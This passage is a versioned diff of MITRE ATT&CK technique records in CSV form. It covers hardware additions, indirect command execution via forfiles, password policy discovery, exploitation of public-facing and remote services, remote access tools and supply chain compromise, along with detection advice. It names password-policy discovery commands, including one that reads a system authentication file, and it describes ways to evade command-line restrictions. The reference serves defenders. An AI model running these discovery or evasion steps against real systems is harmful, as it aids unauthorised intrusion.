'initial-access'}]",1.1,False,https://attack.mitre.org/techniques/T1200,mitre-attack,T1200,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Hardware Additions,"Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.",attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9,attack-pattern,['initial-access'],2021-04-22T17:47:04.476Z,2018-04-18T17:59:24.739Z,"Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. +Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.",['collection'],https://attack.mitre.org/techniques/T1213,mitre-attack,T1213,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)', 'Regina Elwell', 'Isif Ibrahima', 'Praetorian', 'Milos Stojadinovic']","['Logon Session: Logon Session Creation', 'Application Log: Application Log Content']",,"As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. -Endpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.",,,,,"['Windows', 'Linux', 'macOS']",,CAPEC-440,https://capec.mitre.org/data/definitions/440.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1202', 'url': 'https://attack.mitre.org/techniques/T1202'}, {'url': 'https://twitter.com/vector_sec/status/896049052642533376', 'description': 'vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018.', 'source_name': 'VectorSec ForFiles Aug 2017'}, {'url': 'https://twitter.com/Evi1cg/status/935027922397573120', 'description': 'Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018.', 'source_name': 'Evi1cg Forfiles Nov 2017'}, {'url': 'https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe', 'description': 'Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018.', 'source_name': 'RSA Forfiles Aug 2017'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,False,https://attack.mitre.org/techniques/T1202,mitre-attack,T1202,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Indirect Command Execution,"Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017) - -Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.",attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e,attack-pattern,['defense-evasion'],2020-06-20T22:09:22.559Z,2018-04-18T17:59:24.739Z,"Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)","['Process: Process Creation', 'Command: Command Execution']","['Matthew Demaske, Adaptforward']","['Static File Analysis', 'Application control', 'Application control by file name or path']",['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1201', 'url': 'https://attack.mitre.org/techniques/T1201'}, {'url': 'https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu', 'description': 'Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018.', 'source_name': 'Superuser Linux Password Policies'}, {'url': 'https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines', 'description': 'Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018.', 'source_name': 'Jamf User Password Policies'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.2,False,https://attack.mitre.org/techniques/T1201,mitre-attack,T1201,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Password Policy Discovery,"Adversaries may attempt to access detailed information about the password policy used within an enterprise network. Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts). - -Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies.(Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)",attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5,attack-pattern,['discovery'],2020-09-29T14:48:07.227Z,2018-04-18T17:59:24.739Z,Monitor processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.,"['Process: Process Creation', 'Command: Command Execution']","['Sudhanshu Chauhan, @Sudhanshu_C']",,['User'],"['Windows', 'Linux', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1190', 'url': 'https://attack.mitre.org/techniques/T1190'}, {'url': 'https://nvd.nist.gov/vuln/detail/CVE-2016-6662', 'description': 'National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.', 'source_name': 'NVD CVE-2016-6662'}, {'url': 'https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/', 'description': 'CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.', 'source_name': 'CIS Multiple SMB Vulnerabilities'}, {'source_name': 'US-CERT TA18-106A Network Infrastructure Devices 2018', 'url': 'https://us-cert.cisa.gov/ncas/alerts/TA18-106A', 'description': 'US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.'}, {'url': 'https://nvd.nist.gov/vuln/detail/CVE-2014-7169', 'description': 'National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.', 'source_name': 'NVD CVE-2014-7169'}, {'url': 'https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project', 'description': 'OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.', 'source_name': 'OWASP Top 10'}, {'source_name': 'CWE top 25', 'url': 'https://cwe.mitre.org/top25/index.html', 'description': 'Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]",2.3,False,https://attack.mitre.org/techniques/T1190,mitre-attack,T1190,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exploit Public-Facing Application,"Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), network device administration and management protocols (like SNMP and Smart Install(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). +The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. ",False,['User'],"['Linux', 'Windows', 'macOS', 'SaaS', 'Office 365', 'Google Workspace', 'IaaS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1190', 'external_id': 'T1190'}, {'source_name': 'NVD CVE-2016-6662', 'description': 'National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2016-6662'}, {'source_name': 'CIS Multiple SMB Vulnerabilities', 'description': 'CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.', 'url': 'https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/'}, {'source_name': 'US-CERT TA18-106A Network Infrastructure Devices 2018', 'description': 'US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/TA18-106A'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}, {'source_name': 'NVD CVE-2014-7169', 'description': 'National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2014-7169'}, {'source_name': 'OWASP Top 10', 'description': 'OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.', 'url': 'https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project'}, {'source_name': 'CWE top 25', 'description': 'Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019.', 'url': 'https://cwe.mitre.org/top25/index.html'}]",2.3,attack-pattern,attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-07-20T21:51:45.776Z,Exploit Public-Facing Application,"Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), network device administration and management protocols (like SNMP and Smart Install(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies. -For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)",attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c,attack-pattern,['initial-access'],2021-04-12T18:25:16.409Z,2018-04-18T17:59:24.739Z,"Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']","['Yossi Weizman, Azure Defender Research Team', 'Praetorian']",,,"['Windows', 'IaaS', 'Network', 'Linux', 'macOS', 'Containers']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1210', 'url': 'https://attack.mitre.org/techniques/T1210'}, {'url': 'https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/', 'description': 'CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.', 'source_name': 'CIS Multiple SMB Vulnerabilities'}, {'url': 'https://nvd.nist.gov/vuln/detail/CVE-2017-0176', 'description': 'National Vulnerability Database. (2017, June 22). CVE-2017-0176 Detail. Retrieved April 3, 2018.', 'source_name': 'NVD CVE-2017-0176'}, {'url': 'https://nvd.nist.gov/vuln/detail/CVE-2016-6662', 'description': 'National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.', 'source_name': 'NVD CVE-2016-6662'}, {'url': 'https://nvd.nist.gov/vuln/detail/CVE-2014-7169', 'description': 'National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.', 'source_name': 'NVD CVE-2014-7169'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]",1.1,False,https://attack.mitre.org/techniques/T1210,mitre-attack,T1210,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exploitation of Remote Services,"Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. +For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)",['initial-access'],https://attack.mitre.org/techniques/T1190,mitre-attack,T1190,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Yossi Weizman, Azure Defender Research Team', 'Praetorian']","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,"Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.",False,,"['Windows', 'IaaS', 'Network', 'Linux', 'macOS', 'Containers']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1210', 'external_id': 'T1210'}, {'source_name': 'CIS Multiple SMB Vulnerabilities', 'description': 'CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.', 'url': 'https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/'}, {'source_name': 'NVD CVE-2017-0176', 'description': 'National Vulnerability Database. (2017, June 22). CVE-2017-0176 Detail. Retrieved April 3, 2018.', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2017-0176'}, {'source_name': 'NVD CVE-2016-6662', 'description': 'National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2016-6662'}, {'source_name': 'NVD CVE-2014-7169', 'description': 'National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2014-7169'}]",1.1,attack-pattern,attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-04-22T20:23:01.478Z,Exploitation of Remote Services,"Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources. There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169) -Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.",attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82,attack-pattern,['lateral-movement'],2021-04-22T20:23:01.478Z,2018-04-18T17:59:24.739Z,"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",['ExtraHop'],,['User'],"['Linux', 'Windows', 'macOS']",,,,"['Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network.']",,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1219', 'url': 'https://attack.mitre.org/techniques/T1219'}, {'url': 'https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf', 'description': 'Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018.', 'source_name': 'Symantec Living off the Land'}, {'url': 'https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf', 'description': 'CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018.', 'source_name': 'CrowdStrike 2015 Global Threat Report'}, {'url': 'https://blog.crysys.hu/2013/03/teamspy/', 'description': 'CrySyS Lab. (2013, March 20). TeamSpy – Obshie manevri. Ispolzovat’ tolko s razreshenija S-a. Retrieved April 11, 2018.', 'source_name': 'CrySyS Blog TeamSpy'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",2.0,False,https://attack.mitre.org/techniques/T1219,mitre-attack,T1219,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Remote Access Software,"An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) - -Remote access tools may be established and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system. - -Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)",attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7,attack-pattern,['command-and-control'],2020-06-20T20:42:37.320Z,2018-04-18T17:59:24.739Z,"Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators. - -Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. - -[Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.","['Process: Process Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']","['Matt Kelly, @breakersall']",,['User'],"['Linux', 'Windows', 'macOS']",,,,,True,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1195', 'url': 'https://attack.mitre.org/techniques/T1195'}, {'external_id': 'CAPEC-437', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/437.html'}, {'external_id': 'CAPEC-438', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/438.html'}, {'external_id': 'CAPEC-439', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/439.html'}, {'source_name': 'IBM Storwize', 'url': 'https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E', 'description': 'IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019.'}, {'source_name': 'Schneider Electric USB Malware', 'url': 'https://www.se.com/ww/en/download/document/SESN-2018-236-01/', 'description': 'Schneider Electric. (2018, August 24). Security Notification – USB Removable Media Provided With Conext Combox and Conext Battery Monitor. Retrieved May 28, 2019.'}, {'url': 'https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities', 'description': 'Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.', 'source_name': 'Avast CCleaner3 2018'}, {'url': 'https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/', 'description': 'Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.', 'source_name': 'Microsoft Dofoil 2018'}, {'url': 'https://www.commandfive.com/papers/C5_APT_SKHack.pdf', 'description': 'Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018.', 'source_name': 'Command Five SK 2011'}, {'url': 'https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf', 'description': ""O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018."", 'source_name': 'Symantec Elderwood Sept 2012'}, {'source_name': 'Trendmicro NPM Compromise', 'url': 'https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets', 'description': 'Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]",1.2,False,https://attack.mitre.org/techniques/T1195,mitre-attack,T1195,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Supply Chain Compromise,"Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. +Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.",['lateral-movement'],https://attack.mitre.org/techniques/T1210,mitre-attack,T1210,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['ExtraHop'],"['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']",,"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.",False,['User'],"['Linux', 'Windows', 'macOS']",,,,"['Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network.']",,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1200', 'external_id': 'T1200'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/440.html', 'external_id': 'CAPEC-440'}, {'source_name': 'Ossmann Star Feb 2011', 'description': 'Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018.', 'url': 'https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html'}, {'source_name': 'Aleks Weapons Nov 2015', 'description': 'Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018.', 'url': 'https://www.youtube.com/watch?v=lDvf4ScWbcQ'}, {'source_name': 'Hak5 RubberDuck Dec 2016', 'description': 'Hak5. (2016, December 7). Stealing Files with the USB Rubber Ducky – USB Exfiltration Explained. Retrieved March 30, 2018.', 'url': 'https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained'}, {'source_name': 'Frisk DMA August 2016', 'description': 'Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018.', 'url': 'https://www.youtube.com/watch?v=fXthwl6ShOg'}, {'source_name': 'McMillan Pwn March 2012', 'description': 'Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018.', 'url': 'https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/'}]",1.2,attack-pattern,attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-08-17T00:28:00.947Z,Hardware Additions,"Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), addition of new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.",['initial-access'],https://attack.mitre.org/techniques/T1200,mitre-attack,T1200,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. -Supply chain compromise can take place at any stage of the supply chain including: - -* Manipulation of development tools -* Manipulation of a development environment -* Manipulation of source code repositories (public or private) -* Manipulation of source code in open-source dependencies -* Manipulation of software update/distribution mechanisms -* Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware) -* Replacement of legitimate software with modified versions -* Sales of modified/counterfeit products to legitimate distributors -* Shipment interdiction - -While supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast 